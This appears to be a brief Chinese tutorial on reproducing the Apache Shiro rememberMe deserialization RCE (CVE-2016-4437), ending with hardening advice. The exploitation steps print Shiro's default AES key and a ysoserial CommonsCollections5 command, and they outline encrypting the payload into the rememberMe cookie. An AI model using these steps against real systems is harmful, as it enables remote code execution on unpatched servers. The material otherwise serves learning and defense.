Shiro rememberMe 反序列化 RCE 复现(CVE-2016-4437):AES 密钥泄露、JNDI 注入、RCE 利用、防御加固。
写在前面:合法学习边界
Shiro 攻击只在授权测试环境进行。
一、Shiro 反序列化链

1
| ① 发现 Shiro → ② 获取 AES 密钥 → ③ 构造 payload → ④ 加密 → ⑤ 发送 Cookie → ⑥ RCE
|
二、漏洞信息
1
2
3
4
| CVE-2016-4437
影响:Apache Shiro 1.2.4 及之前
入口:rememberMe Cookie
类型:Java 反序列化 → JNDI → RCE
|
三、利用步骤
1
2
3
4
5
6
7
8
| # 默认密钥
kPH+bIxk5D2deZiIxcaaaA==
# 构造 payload + AES 加密
ysoserial CommonsCollections5 'whoami'
# → AES/CBC/PKCS5Padding 加密
# → 设置到 rememberMe Cookie
# → 访问目标
|
四、防御加固
1
2
3
4
| 升级到 Shiro 1.2.5+
更换 AES 密钥(不要使用默认)
禁用反序列化
WAF 拦截超长 rememberMe Cookie
|
五、小结
Shiro rememberMe 是 Java 反序列化最经典的 RCE 漏洞。更换默认密钥 + 升级版本是核心防御。